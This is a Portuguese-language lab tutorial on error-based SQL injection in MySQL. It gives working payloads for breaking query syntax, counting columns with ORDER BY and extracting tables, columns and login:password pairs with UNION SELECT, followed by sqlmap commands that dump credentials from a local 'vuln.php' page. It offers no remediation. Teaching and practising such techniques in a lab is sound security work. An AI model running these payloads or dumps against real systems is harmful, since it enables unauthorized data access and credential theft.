Explorar falhas que retornam mensagens de erro é uma das formas mais rápidas de identificar e extrair dados de bancos de dados MySQL vulneráveis. A seguir, veremos como reconhecer e abusar desas falhas quando o parâmetro é enviado via GET.
Reconhecimento do tipo de parâmetro
O primeiro passo é descobrir se o campo é tratado como número ou texto. Isso determina o caractere de fechamento (ou a ausência dele) que precisaremos usar para quebrar a sintaxe da query original.
Cenário 1 – aspas simples em campos string
Requisição:
http://localhost/lab/vuln.php?cod=1'
Resposta:
... near ''1'' LIMIT 0,1' at line 1
O erro revela aspas simples duplicadas, indicando que o WHERE id = '$id' espera um valor delimitado por aspas simples.
Cenário 2 – valores numéricos
Requisição:
http://localhost/lab/vuln.php?cod=1'
Resposta:
... near '' LIMIT 0,1' at line 1
A ausência de aspas antes do LIMIT mostra que a query é WHERE id = $id, ou seja, inteiro.
Cenário 3 – aspas simples + parênteses
Requisição:
http://localhost/lab/vuln.php?cod=1'
Resposta:
... near ''1'') LIMIT 0,1' at line 1
O parêntese extra indica WHERE id = ('$id'). Para neutralizar, basta fechar o parêntese antes do comentário:
?cod=1')--+-
Cenário 4 – aspas duplas + parênteses
Requisição:
http://localhost/lab/vuln.php?cod=1"
Resposta:
... near '"1"") LIMIT 0,1' at line 1
A estrutura é WHERE id = ("$id"). O payload final será:
?cod=1")--+-
Enumerando a estrutura do banco
Após identificar o fechamento correto, usamos ORDER BY para descobrir quantas colunas a consulta original projeta:
?cod=1' ORDER BY 3--+- → OK
?cod=1' ORDER BY 4--+- → erro
Com três colunas confirmadas, injetamos UNION SELECT para extrair metadados:
- Lista de tabelas:
?cod=0' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+- - Colunas da tabela
usuarios:?cod=0' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='usuarios'--+- - Dados sensíveis:
?cod=0' UNION SELECT 1,group_concat(login,0x3a,senha),3 FROM usuarios--+-
Automação com sqlmap
O sqlmap acelera todo o processo:
# listar bancos
sqlmap -u "http://localhost/lab/vuln.php?cod=1" --dbs --batch
# listar tabelas do banco "seguranca"
sqlmap -u "http://localhost/lab/vuln.php?cod=1" -D seguranca --tables --batch
# extrair colunas da tabela "usuarios"
sqlmap -u "http://localhost/lab/vuln.php?cod=1" -D seguranca -T usuarios --columns --batch
# dump de login e senha
sqlmap -u "http://localhost/lab/vuln.php?cod=1" -D seguranca -T usuarios -C "login,senha" --dump --batch
Esses passos demonstram como transformar erros de sintaxe em acesso completo aos dados, desde que a aplicação revele mensagens detalhadas do MySQL.